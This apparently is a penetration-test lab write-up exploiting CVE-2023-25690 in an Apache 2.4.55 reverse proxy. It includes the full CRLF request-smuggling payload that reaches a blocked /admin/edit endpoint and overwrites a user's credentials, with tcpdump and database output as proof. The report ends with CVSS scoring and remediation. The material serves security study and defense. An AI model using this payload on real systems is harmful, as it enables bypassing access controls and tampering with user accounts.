
HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection
| Component | Role | Version |
|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (vulnerable) |
| Spring Boot (embedded Tomcat) | Backend API | 4.x (Java 21) |
| SQLite | Database | — |
User ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: unsanitized CRLF
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> blocked
POST /public/register: allows user registration in the database
POST /public/login: allows login through verification of the entered credentials and issues a session token
GET /public/dashboard: restricted user area
GET /api/status: accepts the "name" parameter, it is a sample endpoint for checking service status
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: a route theoretically inaccessible to the public that allows administrators to modify user data
During the penetration testing activity, a critical vulnerability was identified in the reverse proxy infrastructure that exposes the Spring Boot backend. The Apache HTTP Server version 2.4.55 proxy is affected by vulnerability CVE-2023-25690 (HTTP Request Smuggling), which allows an attacker to bypass the security filters imposed on the proxy and directly reach unprotected internal administrative endpoints.
The attack exploits the lack of sanitization of control characters (CRLF) in Apache's RewriteRule, allowing the injection of a second HTTP request among the parameters of a legitimate request to the backend. The proof of concept demonstrated the unauthorized modification of user credentials in the database via the /admin/edit/{id}/{newName}/{newPass} endpoint, theoretically protected by the proxy's ACLs.
Recommendations: Immediately update Apache HTTP Server to version ≥ 2.4.56, strengthen security filters on the proxy, and implement a backend security layer (Spring Security) for all sensitive endpoints.
Identification of the Apache version through analysis of the HTTP response headers.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Result: The Server header reveals Apache/2.4.55. Consultation of the CVE database → match with CVE-2023-25690.
According to the CVE, in this version of Apache, if there is a RewriteRule that copies generic characters from the request to the proxy into the backend destination URL, the transcribed text is not sanitized, so control characters (such as line breaks) also pass through.
For example: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // the P stands for proxy mode
So now our goal is to discover any endpoint that performs this transcription at the proxy level
From the analysis of the responses and the application's behavior, it is observed that the session is managed through JSESSIONID, which confirms the use of a Java Servlet Container (such as Apache Tomcat, Jetty, or WildFly). Furthermore, requests to non-existent endpoints return a "Whitelabel Error Page," indicating that Spring Boot is running in the backend.
Using a bash script to automate dictionary-based fuzzing, the endpoints exposed on the network were mapped (presumably all of them).
Result:
| Endpoint | HTTP Code | Method | Parameters |
|---|---|---|---|
| admin | 403 | GET | (no params) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (no params) |
| public/logout | 200 | GET | (no params) |
| api/status | 200 | GET | (no params) |
| service/* | 200 | GET | (no params) |
Given that
both return the same response, it is clear that they point to the same backend endpoint. Furthermore, since requests like /service/x/y/z (which most likely do not exist) do not return a 404, it can be deduced that the original endpoint accepts a parameter and not a path variable. In conclusion, it can be deduced that requests to /service/<service> are translated via a RewriteRule to the Spring Boot backend (exactly what we were looking for). Now we need to determine whether this RewriteRule is a dummy one, i.e., it uses a regex like .* or whether it is well-structured.
I try to insert control characters into the request to split the legitimate content from the hidden one:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... The service 'x' is operational and stable.
I inserted a custom parameter to verify that the CRLFs are interpreted correctly
trash_header is responsible for encapsulating the headers that Apache will insert into the request to the backend (this way they will be interpreted as simple text of the X-Header and will have no value for the HTTP request)
Using tcpdump in the backend container, I was able to intercept the HTTP request coming from Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
The backend sees this request:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"The control characters have taken control"
The response tells me that the part with the control characters passed through undisturbed as the structure of the HTTP request itself and not simply as a parameter (since the name intercepted by the backend is only 'x'). So we imposed the format of the HTTP request to the backend and the proxy accepted it; this paves the way for the real smuggling payload.
| Endpoint | Method | Access | Notes |
|---|---|---|---|
/public/register | POST | Public | User registration |
/public/login | POST | Public | Login, issues JSESSIONID |
/public/dashboard | GET | Authenticated | Restricted area |
/public/logout | GET | Public | Destroys session |
/api/status?name= | GET | Public | Health check |
/service/{param} | GET | Public | Vulnerable gateway ($1 in query string) |
/admin/edit/{id}/{n}/{p} | POST | Protected (ACL) | Modifies user credentials |
/admin/ | * | Blocked (403) | Apache ACL |
Force the Apache reverse proxy to forward two distinct requests to the Spring Boot backend, causing the second request to reach the /admin/edit/ endpoint bypassing Apache's ACL filter.
At this stage, imagine that localhost and spring-backend are respectively the public addresses of the proxy and the server. If the proxy and backend are on the same network (or organization), spring-backend will be a private IP (which unfortunately would be difficult to know)
The vulnerability lies in the RewriteRule:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
The proxy captures user input in $1 and inserts it into the query string without sanitizing control characters (%20, %0d%0a). The backend (Tomcat) interprets these characters as URL termination and the start of a new HTTP request on the same TCP socket.
A) GET /service/x → Legitimate part; everything after /service/
ends up in $1 (name parameter)
B) %20HTTP/1.1 → [Splitting Point] Space that prematurely
closes the URL in the backend
C) %0d%0aHost:...%0d%0a%0d%0a → [Header Injection] CRLF to terminate
the first request
D) POST /admin/edit/1/HACKED/PWNED → [Smuggled Request] Hidden malicious
request to the admin endpoint
E) %20HTTP/1.1 → HTTP version for the second request
F) %0d%0aContent-Length:%200 → Empty body for the POST
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [Header Sink] Absorbs headers added
automatically by Apache
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
What Apache sees (a single request):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
What the backend receives (two requests on the same socket):
--- Request 1 (legitimate, but "mutilated") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- Request 2 (smuggled) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... The service 'x' is operational and stable.
The user with ID 1 has been renamed to HACKED with password PWNED — complete bypass of the proxy ACLs.
Direct database access for confirmation:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | Description |
|---|---|
| CVE-2023-25690 | Apache HTTP Server HTTP Request Smuggling via mod_proxy with RewriteRule/ProxyPassMatch |
| CWE-444 | Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') |
| CWE-113 | Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') |
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | N (Network) | Accessible from remote network |
| Attack Complexity (AC) | L (Low) | No special conditions |
| Privileges Required (PR) | N (None) | No authentication required |
| User Interaction (UI) | N (None) | Does not require victim interaction |
| Scope (S) | C (Changed) | The vulnerable component differs from the impacted one |
| Confidentiality (C) | H (High) | Access to restricted endpoints |
| Integrity (I) | H (High) | Modification of user data in the database |
| Availability (A) | H (High) | Possible proxy cache poisoning / Socket pollution |
Base Score: 10.0 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Metric | Value | Description |
|---|---|---|
| Exploit Code Maturity (E) | F (Functional exploit exists) | Working exploit |
| Remediation Level (RL) | O (Official Fix) | In later Apache versions, the bug has been fixed |
| Report Confidence (RC) | C (Confirmed) | Vulnerability confirmed and documented |
Temporal Score: 9.3 (HIGH)
| Metric | Value | Description |
|---|---|---|
| Attack Vector (MAV) | N (Network) | Proxy exposed on the internet |
| Attack Complexity (MAC) | H (High) | Requires knowledge of internal endpoint structure |
| Privileges Required (MPR) | L (Low) | No privileges of any kind required |
| User Interaction (MUI) | N (None) | No interaction required from external users |
| Scope (MS) | C (Changed) | A system is compromised through another |
| Impact Metrics (MC/MI/MA) | H/H/H | Maximum damage (data modification in the database) |
| CIA Requirements (CR/IR/AR) | H/H/H | Critical system (user login) |
Environmental Score: 8.0 (HIGH)
Vector String: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
Overall Score: 8.0 — HIGH
Update Apache HTTP Server to version ≥ 2.4.56, where sanitization of control characters in RewriteRule with the [P] flag is enforced at the server core level.
| Current version | Target version | Fix |
|---|---|---|
| 2.4.55 | 2.4.56+ | Automatic CRLF sanitization in mod_proxy |
Add spring-boot-starter-security to the pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
Configure a SecurityFilterChain that protects administrative endpoints:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
Add checks on all parameters accepted by the endpoints (query string, path variables, form data):
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// Verify that the user has the ADMIN role
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "Access denied";
}
// ... operation allowed only after auth check
}